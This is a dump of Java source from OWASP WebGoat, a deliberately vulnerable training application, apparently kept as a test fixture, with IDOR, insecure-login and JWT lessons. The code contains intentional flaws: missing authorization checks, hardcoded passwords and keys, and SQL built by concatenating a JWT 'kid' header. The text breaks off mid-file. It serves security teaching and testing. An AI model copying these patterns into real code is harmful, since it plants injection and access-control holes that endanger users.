* * @author WebGoat * @version $Id: $Id * @since October 12, 2016 */ @Component public class HttpProxies extends Lesson { @Override public Category getDefaultCategory() { return Category.GENERAL; } @Override public String getTitle() { return "2.http-proxies.title"; // second lesson in GENERAL } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java ================================================ package org.owasp.webgoat.lessons.idor; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author misfir3 * @version $Id: $Id * @since January 3, 2017 */ @Component public class IDOR extends Lesson { @Override public Category getDefaultCategory() { return Category.A1; } @Override public String getTitle() { return "idor.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.idor; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "idor.hints.idorDiffAttributes1", "idor.hints.idorDiffAttributes2", "idor.hints.idorDiffAttributes3" }) public class IDORDiffAttributes extends AssignmentEndpoint { @PostMapping("/IDOR/diff-attributes") @ResponseBody public AttackResult completed(@RequestParam String attributes) { attributes = attributes.trim(); String[] diffAttribs = attributes.split(","); if (diffAttribs.length < 2) { return failed(this).feedback("idor.diff.attributes.missing").build(); } if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role") || diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) { return success(this).feedback("idor.diff.success").build(); } else { return failed(this).feedback("idor.diff.failure").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.idor; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9" }) public class IDOREditOtherProfiile extends AssignmentEndpoint { @Autowired private UserSessionData userSessionData; @PutMapping(path = "/IDOR/profile/{userId}", consumes = "application/json") @ResponseBody public AttackResult completed( @PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) { String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); // this is where it starts ... accepting the user submitted ID and assuming it will be the same // as the logged in userId and not checking for proper authorization // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let // everyone, right? // Except that this is a vulnerable app ... so we will UserProfile currentUserProfile = new UserProfile(userId); if (userSubmittedProfile.getUserId() != null && !userSubmittedProfile.getUserId().equals(authUserId)) { // let's get this started ... currentUserProfile.setColor(userSubmittedProfile.getColor()); currentUserProfile.setRole(userSubmittedProfile.getRole()); // we will persist in the session object for now in case we want to refer back or use it later userSessionData.setValue("idor-updated-other-profile", currentUserProfile); if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().toLowerCase().equals("red")) { return success(this) .feedback("idor.edit.profile.success1") .output(currentUserProfile.profileToMap().toString()) .build(); } if (currentUserProfile.getRole() > 1 && currentUserProfile.getColor().toLowerCase().equals("red")) { return success(this) .feedback("idor.edit.profile.failure1") .output(currentUserProfile.profileToMap().toString()) .build(); } if (currentUserProfile.getRole() <= 1 && !currentUserProfile.getColor().toLowerCase().equals("red")) { return success(this) .feedback("idor.edit.profile.failure2") .output(currentUserProfile.profileToMap().toString()) .build(); } // else return failed(this) .feedback("idor.edit.profile.failure3") .output(currentUserProfile.profileToMap().toString()) .build(); } else if (userSubmittedProfile.getUserId().equals(authUserId)) { return failed(this).feedback("idor.edit.profile.failure4").build(); } if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) { return success(this) .feedback("idor.edit.profile.success2") .output(userSessionData.getValue("idor-updated-own-profile").toString()) .build(); } else { return failed(this).feedback("idor.edit.profile.failure3").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.idor; import java.util.HashMap; import java.util.Map; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"idor.hints.idor_login"}) public class IDORLogin extends AssignmentEndpoint { private Map> idorUserInfo = new HashMap<>(); public void initIDORInfo() { idorUserInfo.put("tom", new HashMap()); idorUserInfo.get("tom").put("password", "cat"); idorUserInfo.get("tom").put("id", "2342384"); idorUserInfo.get("tom").put("color", "yellow"); idorUserInfo.get("tom").put("size", "small"); idorUserInfo.put("bill", new HashMap()); idorUserInfo.get("bill").put("password", "buffalo"); idorUserInfo.get("bill").put("id", "2342388"); idorUserInfo.get("bill").put("color", "brown"); idorUserInfo.get("bill").put("size", "large"); } @PostMapping("/IDOR/login") @ResponseBody public AttackResult completed(@RequestParam String username, @RequestParam String password) { initIDORInfo(); UserSessionData userSessionData = getUserSessionData(); if (idorUserInfo.containsKey(username)) { if ("tom".equals(username) && idorUserInfo.get("tom").get("password").equals(password)) { userSessionData.setValue("idor-authenticated-as", username); userSessionData.setValue( "idor-authenticated-user-id", idorUserInfo.get(username).get("id")); return success(this).feedback("idor.login.success").feedbackArgs(username).build(); } else { return failed(this).feedback("idor.login.failure").build(); } } else { return failed(this).feedback("idor.login.failure").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.idor; import java.util.HashMap; import java.util.Map; import javax.servlet.http.HttpServletResponse; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9" }) public class IDORViewOtherProfile extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @GetMapping( path = "/IDOR/profile/{userId}", produces = {"application/json"}) @ResponseBody public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) { Map details = new HashMap<>(); if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { // going to use session auth to view this one String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); if (userId != null && !userId.equals(authUserId)) { // on the right track UserProfile requestedProfile = new UserProfile(userId); // secure code would ensure there was a horizontal access control check prior to dishing up // the requested profile if (requestedProfile.getUserId().equals("2342388")) { return success(this) .feedback("idor.view.profile.success") .output(requestedProfile.profileToMap().toString()) .build(); } else { return failed(this).feedback("idor.view.profile.close1").build(); } } else { return failed(this).feedback("idor.view.profile.close2").build(); } } return failed(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.idor; import java.util.HashMap; import java.util.Map; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @Slf4j public class IDORViewOwnProfile { @Autowired UserSessionData userSessionData; @GetMapping( path = {"/IDOR/own", "/IDOR/profile"}, produces = {"application/json"}) @ResponseBody public Map invoke() { Map details = new HashMap<>(); try { if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { // going to use session auth to view this one String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); UserProfile userProfile = new UserProfile(authUserId); details.put("userId", userProfile.getUserId()); details.put("name", userProfile.getName()); details.put("color", userProfile.getColor()); details.put("size", userProfile.getSize()); details.put("role", userProfile.getRole()); } else { details.put( "error", "You do not have privileges to view the profile. Authenticate as tom first please."); } } catch (Exception ex) { log.error("something went wrong", ex.getMessage()); } return details; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.idor; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "idor.hints.ownProfileAltUrl1", "idor.hints.ownProfileAltUrl2", "idor.hints.ownProfileAltUrl3" }) public class IDORViewOwnProfileAltUrl extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @PostMapping("/IDOR/profile/alt-path") @ResponseBody public AttackResult completed(@RequestParam String url) { try { if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { // going to use session auth to view this one String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); // don't care about http://localhost:8080 ... just want WebGoat/ String[] urlParts = url.split("/"); if (urlParts[0].equals("WebGoat") && urlParts[1].equals("IDOR") && urlParts[2].equals("profile") && urlParts[3].equals(authUserId)) { UserProfile userProfile = new UserProfile(authUserId); return success(this) .feedback("idor.view.own.profile.success") .output(userProfile.profileToMap().toString()) .build(); } else { return failed(this).feedback("idor.view.own.profile.failure1").build(); } } else { return failed(this).feedback("idor.view.own.profile.failure2").build(); } } catch (Exception ex) { return failed(this).feedback("an error occurred with your request").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.idor; import java.util.HashMap; import java.util.Map; /** Created by jason on 1/5/17. */ public class UserProfile { private String userId; private String name; private String color; private String size; private boolean isAdmin; private int role; public UserProfile() {} public UserProfile(String id) { setProfileFromId(id); } // private void setProfileFromId(String id) { // emulate look up from database if (id.equals("2342384")) { this.userId = id; this.color = "yellow"; this.name = "Tom Cat"; this.size = "small"; this.isAdmin = false; this.role = 3; } else if (id.equals("2342388")) { this.userId = id; this.color = "brown"; this.name = "Buffalo Bill"; this.size = "large"; this.isAdmin = false; this.role = 3; } else { // not found } } public Map profileToMap() { Map profileMap = new HashMap<>(); profileMap.put("userId", this.userId); profileMap.put("name", this.name); profileMap.put("color", this.color); profileMap.put("size", this.size); profileMap.put("role", this.role); return profileMap; } public String toHTMLString() { String htmlBreak = "
"; return "userId" + this.userId + htmlBreak + "name" + this.name + htmlBreak + "size" + this.size + htmlBreak + "role" + this.role + htmlBreak + "isAdmin" + this.isAdmin; } // public String getUserId() { return userId; } public void setUserId(String userId) { this.userId = userId; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getColor() { return color; } public void setColor(String color) { this.color = color; } public String getSize() { return size; } public void setSize(String size) { this.size = size; } public boolean isAdmin() { return isAdmin; } public void setAdmin(boolean admin) { isAdmin = admin; } public int getRole() { return role; } public void setRole(int role) { this.role = role; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java ================================================ package org.owasp.webgoat.lessons.insecurelogin; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since October 12, 2016 */ @Component public class InsecureLogin extends Lesson { @Override public Category getDefaultCategory() { return Category.A7; } @Override public String getTitle() { return "insecure-login.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.insecurelogin; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.HttpStatus; import org.springframework.web.bind.annotation.*; @RestController public class InsecureLoginTask extends AssignmentEndpoint { @PostMapping("/InsecureLogin/task") @ResponseBody public AttackResult completed(@RequestParam String username, @RequestParam String password) { if ("CaptainJack".equals(username) && "BlackPearl".equals(password)) { return success(this).build(); } return failed(this).build(); } @PostMapping("/InsecureLogin/login") @ResponseStatus(HttpStatus.ACCEPTED) public void login() { // only need to exists as the JS needs to call an existing endpoint } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.jwt; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * @author nbaars * @since 3/22/17. */ @Component public class JWT extends Lesson { @Override public Category getDefaultCategory() { return Category.A7; } @Override public String getTitle() { return "jwt.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java ================================================ package org.owasp.webgoat.lessons.jwt; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class JWTDecodeEndpoint extends AssignmentEndpoint { @PostMapping("/JWT/decode") @ResponseBody public AttackResult decode(@RequestParam("jwt-encode-user") String user) { if ("user".equals(user)) { return success(this).build(); } else { return failed(this).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.jwt; import io.jsonwebtoken.*; import io.jsonwebtoken.impl.TextCodec; import java.sql.ResultSet; import java.sql.SQLException; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.*; /** * * *

 *  {
 *      "typ": "JWT",
 *      "kid": "webgoat_key",
 *      "alg": "HS256"
 *  }
 *  {
 *       "iss": "WebGoat Token Builder",
 *       "iat": 1524210904,
 *       "exp": 1618905304,
 *       "aud": "webgoat.org",
 *       "sub": "jerry@webgoat.com",
 *       "username": "Jerry",
 *       "Email": "jerry@webgoat.com",
 *       "Role": [
 *       "Cat"
 *       ]
 *  }
 * 
* * @author nbaars * @since 4/23/17. */ @RestController @AssignmentHints({ "jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6" }) public class JWTFinalEndpoint extends AssignmentEndpoint { private final LessonDataSource dataSource; private JWTFinalEndpoint(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/JWT/final/follow/{user}") public @ResponseBody String follow(@PathVariable("user") String user) { if ("Jerry".equals(user)) { return "Following yourself seems redundant"; } else { return "You are now following Tom"; } } @PostMapping("/JWT/final/delete") public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) { if (StringUtils.isEmpty(token)) { return failed(this).feedback("jwt-invalid-token").build(); } else { try { final String[] errorMessage = {null}; Jwt jwt = Jwts.parser() .setSigningKeyResolver( new SigningKeyResolverAdapter() { @Override public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid"); try (var connection = dataSource.getConnection()) { ResultSet rs = connection .createStatement() .executeQuery( "SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { return TextCodec.BASE64.decode(rs.getString(1)); } } catch (SQLException e) { errorMessage[0] = e.getMessage(); } return null; } }) .parseClaimsJws(token); if (errorMessage[0] != null) { return failed(this).output(errorMessage[0]).build(); } Claims claims = (Claims) jwt.getBody(); String username = (String) claims.get("username"); if ("Jerry".equals(username)) { return failed(this).feedback("jwt-final-jerry-account").build(); } if ("Tom".equals(username)) { return success(this).build(); } else { return failed(this).feedback("jwt-final-not-tom").build(); } } catch (JwtException e) { return failed(this).feedback("jwt-invalid-token").output(e.toString()).build(); } } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java ================================================ package org.owasp.webgoat.lessons.jwt; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class JWTQuiz extends AssignmentEndpoint { private final String[] solutions = {"Solution 1", "Solution 2"}; private final boolean[] guesses = new boolean[solutions.length]; @PostMapping("/JWT/quiz") @ResponseBody public AttackResult completed( @RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution) { int correctAnswers = 0; String[] givenAnswers = {question_0_solution[0], question_1_solution[0]}; for (int i = 0; i < solutions.length; i++) { if (givenAnswers[i].contains(solutions[i])) { // answer correct correctAnswers++; guesses[i] = true; } else { // answer incorrect guesses[i] = false; } } if (correctAnswers == solutions.length) { return success(this).build(); } else { return failed(this).build(); } } @GetMapping("/JWT/quiz") @ResponseBody public boolean[] getResults() { return this.guesses; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.jwt; import static org.springframework.http.ResponseEntity.ok; import io.jsonwebtoken.Claims; import io.jsonwebtoken.ExpiredJwtException; import io.jsonwebtoken.Header; import io.jsonwebtoken.Jwt; import io.jsonwebtoken.JwtException; import io.jsonwebtoken.Jwts; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.TimeUnit; import org.apache.commons.lang3.RandomStringUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 4/23/17. */ @RestController @AssignmentHints({ "jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4" }) public class JWTRefreshEndpoint extends AssignmentEndpoint { public static final String PASSWORD = "bm5nhSkxCXZkKRy4"; private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4"; private static final List validRefreshTokens = new ArrayList<>(); @PostMapping( value = "/JWT/refresh/login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = 